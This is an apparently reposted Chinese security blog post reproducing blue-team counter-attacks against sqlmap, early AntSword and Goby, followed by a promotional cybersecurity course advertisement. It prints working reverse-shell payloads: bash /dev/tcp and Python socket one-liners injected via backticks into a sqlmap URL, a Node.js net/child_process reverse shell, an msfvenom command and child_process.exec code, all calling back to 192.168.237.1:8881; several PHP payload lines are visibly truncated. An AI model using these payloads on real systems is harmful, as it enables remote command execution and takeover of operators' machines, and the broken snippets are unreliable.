第120篇:蓝队溯源之蚁剑、sqlmap、Goby反制方法的复现与分析
*Part1 前言*
**大家好最近在更新蓝队分析研判工具箱中的溯源反制功能时,我阅读了大量相关的技术文章。很多资料提到了早期版本的蚁剑、sqlmap、goby等工具的反制思路,其中的一些方法非常有参考价值。不过,ABC_123在复现过程中发现,许多文章中提供的payload复现不成功,经过多次转载后原始正确的payload会出现一些字符被无意中改为全角字符、Tab被替换为空格等问题,有些payload也需要修改。经过仔细研究和修正,今天写文章把复现过程和payload分享给大家。
*Part2 技术研究过程*
*sqlmap的反制方法*
在分析sqlmap反制手法时发现,严格来说这并不是sqlmap本身存在的问****题,而是通过精心构造的反引号命令注入,诱使红队人员在特定环境下执行恶意命令。需要注意的是,这种攻击方式仅在Linux环境下使用sqlmap时才可能生效。虽然利用条件较为苛刻,但在某些特定场景下仍然具备可行性。例如,一些红队人员习惯通过BurpSuite结合sqlmap进行自动化注入测试,此时如果未对请求内容进行严格审查,就可能在无意中触发恶意payload,导致被蓝队反制。
在Linux系统的Shell控制台中,反引号包裹的内容会被当作系统命令执行,并且其执行优先级较高。例如,可以通过在URL中插入反引号来执行一个简单的命令,比如列目录内容:
sqlmap -u "http://192.168.237.128:8888/renli/baoxian_jibenopen.asp?id=`ls`"
也可以直接构造payload使红队人员执行反弹shell命令,网上常见的一种payload是:
sqlmap -u "http://192.168.237.128:8888/renli/baoxian_jibenopen.asp?id=`bash -i >& /dev/tcp/192.168.237.1/8881 0>&1`"
但是我实际测试的时候,发现并未成功,如下图所示。
于是我想到sqlmap本身是基于python编写并运行的,那么目标环境中必然存在python****解析器。于是构造了一下python代码,成功实现了反弹shell。修改后的payload如下:
sqlmap -u "http://192.168.237.128:8888/renli/baoxian_jibenopen.asp?id=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.237.1",8881));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`"
通过这种方式,当红队人员利用sqlmap进行注入测试时,如果未对参数进行严格校验,便可能在不知情的情况下触发反弹shell操作,从而被蓝队人员成功反制。
** **
*蚁剑的反制方法*
经过ABC_123的测试,发现这一方法仅适用于早期版本(AntSword <=2.0.7)的蚁剑webshell管理工具,在最新版本中已无法复现成功。需要注意的是,目前网上流传的许多payload在实际测试中并不可用,存在较多失效或拼写错误的情况。该反制方法的典型应用场景是:蓝队在发现红队上传的PHP等类型的WebShell后,可以主动在红队人员的WebShell中插入特制的反制代码。当红队人员后续使用蚁剑客户端连接该WebShell时,就会在不知情的情况下执行蓝队人员事先植入的命令,从而达到反制效果。
首先,给出一个基于XSS的反制payload,可以用来做弹窗测试。
") ?>
为了实现在Node.js版本蚁剑(AntSword)客户端中自动执行calc.exe命令,可以插入如下的PHP代码:当红队人员使用蚁剑客户端连接此webshell时,该PHP代码会返回一个带有恶意payload的HTTP响应头。
");?>
具体原理是:蚁剑(Node.js版)在与WebShell通信时,会解析服务器返回的数据。这段PHP代码构造了一个伪造的HTTP 500错误响应,并在响应状态行后插入了一个带onerror事件的标签。当蚁剑客户端解析响应时,如果处理不严格,就会在Node.js环境中直接执行这段****JavaScript。onerror中触发的JavaScript首先通过Base64解码出真实代码,内容是调用Node.js的child_process.exec模块,执行calc.exe程序,从而实现远程命令执行(RCE)。如果把旧的 new Buffer(…) 统一改成为标准的 Buffer.from(…),此攻击代码可以兼容 Node.js 10+、12+、14+、16+、18+等版本。
接下来可以尝试实现反弹shell操作,于是构造如下代码。通过引入net和child_process模块,程序分别实现了建立TCP连接和启动本地Shell进程的功能。根据操作系统类型判断,如果是Windows系统则调用cmd.exe,否则使用/bin/sh。随后,使用child_process.spawn以交互模式启动Shell进程,并将其标准输入、输出和错误输出通过pipe方式进行控制。net.Socket对象提供了对底层Socket接口的读写能力,代码中创建了一个client对象,通过TCP连接到攻击者指定的IP和端口,将本地Shell的输入输出流重定向到该连接,实现了远程受控的交互式Shell访问。
const net = require("net");const cp = require("child_process");const isWindows = process.platform === "win32";const shell = isWindows ? "cmd.exe" : "/bin/sh";const sh = cp.spawn(shell, ['-i'], {stdio: ['pipe', 'pipe', 'pipe']});const client = new net.Socket();client.connect(192.168.237.1, "8881", function () {client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
最终将上述nodejs代码进行base64位编码形成如下payload。
");?>
当红队人员点开蚁剑开始连接webshell时,将会在不知情的情况下,执行反弹shell的nodejs代码,从而被蓝队人员反制。
除了上述方法,蚁剑的反制还可以与metasploit进行结合,使用msfvenom生成payload,然后进行深度利用。
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.237.1 LPORT=8881 -f raw -o payload.js
");?>
*Goby早期版本的反制方法*
在研究针对Goby工具的反制方法时,我发现网上流传的许多payload在实际测试中均无法成功复现。经过分析,对部分payload进行了调整,最终才能测试成功。为了触发Goby客户端的XSS弹窗,可以在正常的网页php文件中插入以下PHP代码。
");?>
当红队人员使用Goby工具扫描192.168.237.128这个IP地址时,Goby通过端口扫描会访问到该IP的80端口的web服务,会访问到植入了恶意代码的页面。由于未对解析HTTP响应头进行严格过滤,就可能直接在Goby客户端触发XSS弹窗,从而实现对红队人员的初步反制。
当红队人员查看扫描结果,并点击ip地址附近区域时,会触发弹窗。
如下图所示,成功弹框,证明反制代码被执行。
经过反复修改与测试,最终实现执行calc.exe命令的PHP代码如下:以下代码通过设置特殊的HTTP响应头,在响应中插入一个带有onerror事件的标签。当Goby等基于Node.js环境的客户端访问该页面时,若未对返回内容进行严格校验,onerror触发后会在客户端直接执行JavaScript代码,调用Node.js的child_process.exec模块,从而在本地弹出计算器**(calc.exe)****,实现命令执行效果**。
");?>
接下来使用goby对该ip进行扫描,发现成功弹出计算器。
接下来就是反弹shell的命令,我的测试结果是,无论如何修改nodejs代码,都始终测试不成功,目前原因不得而知。具体操作步骤如下,在目标网站的某个PHP文件中插入如下代码,构造恶意HTTP响应头:使用goby扫描该ip地址后,http服务会收到请求,但是nodejs代码并没有执行。
");?>
其中,弹计算器的calc.js文件代码如下,当Goby客户端加载此calc.js文件代码后执行(未能测试成功)。
(function(){require('child_process').exec('calc');})();
用于反弹Shell(Linux环境)的js文件代码如下(未能测试成功)。
(function(){require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.237.1",8881));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\'');})();
*Part3 总结*
1. 在复现蚁剑、sqlmap、goby反制过程中,发现网上流传的很多payload存在错误,往往是由于反复复制传播时命令格式、字符编码被篡改。实际测试中,一定要以原理为基础自行验证,切勿盲目相信网上的现成复制内容。
2. 蚁剑、sqlmap、goby等的反制方法,并没有依赖目标网站应用漏洞,而是针对红队人员所使用的工具在自身解析、处理逻辑中的缺陷进行攻击。例如:利用蚁剑早期版本对返回内容解析不严格触发远程命令执行;利用sqlmap在Linux下shell解析反引号导致命令执行。
3. 蓝队反制可以不直接入侵红队,只需在webshell、接口返回的数据中插入特制payload,诱导红队工具自动触发执行。
4. 蓝队人员可以适配攻击者使用环境而有针对性地构造payload,比如:针对Node.js环境设计的反制蚁剑 payload,针对Linux环境设计的sqlmap反弹Shell命令;必须了解攻击者工具运行依赖的解释器或执行环境(Node.js、Python等),才能制定有效反制策略。
黑客/网络安全学习路线
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习资源分享:
下面给大家分享一份2025最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术!
一、2025最新网络安全学习路线
一个明确的学习路线可以帮助新人了解从哪里开始,按照什么顺序学习,以及需要掌握哪些知识点。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)
我们把学习路线分成L1到L4四个阶段,一步步带你从入门到进阶,从理论到实战。

L1级别:网络安全的基础入门
L1阶段:我们会去了解计算机网络的基础知识,以及网络安全在行业的应用和分析;学习理解安全基础的核心原理,关键技术,以及PHP编程基础;通过证书考试,可以获得NISP/CISP。可就业安全运维工程师、等保测评工程师。

L2级别:网络安全的技术进阶
L2阶段我们会去学习渗透测试:包括情报收集、弱口令与口令爆破以及各大类型漏洞,还有漏洞挖掘和安全检查项目,可参加CISP-PTE证书考试。

L3级别:网络安全的高阶提升
L3阶段:我们会去学习反序列漏洞、RCE漏洞,也会学习到内网渗透实战、靶场实战和技术提取技术,系统学习Python编程和实战。参加CISP-PTE考试。

L4级别:网络安全的项目实战
L4阶段:我们会更加深入进行实战训练,包括代码审计、应急响应、红蓝对抗以及SRC的挖掘技术。并学习CTF夺旗赛的要点和刷题

整个网络安全学习路线L1主要是对计算机网络安全的理论基础的一个学习掌握;而L3 L4更多的是通过项目实战来掌握核心技术,针对以上网安的学习路线我们也整理了对应的学习视频教程,和配套的学习资料。
二、技术文档和经典PDF书籍
书籍和学习文档资料是学习网络安全过程中必不可少的,我自己整理技术文档,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,(书籍含电子版PDF)

三、网络安全视频教程
对于很多自学或者没有基础的同学来说,书籍这些纯文字类的学习教材会觉得比较晦涩难以理解,因此,我们提供了丰富的网安视频教程,以动态、形象的方式展示技术概念,帮助你更快、更轻松地掌握核心知识。
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

四、网络安全护网行动/CTF比赛
学以致用 ,当你的理论知识积累到一定程度,就需要通过项目实战,在实际操作中检验和巩固你所学到的知识,同时为你找工作和职业发展打下坚实的基础。

五、网络安全工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。 
面试不仅是技术的较量,更需要充分的准备。
在你已经掌握了技术之后,就需要开始准备面试,我们将提供精心整理的网安面试题库,涵盖当前面试中可能遇到的各种技术问题,让你在面试中游刃有余。
如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…


**读者福利 |** CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)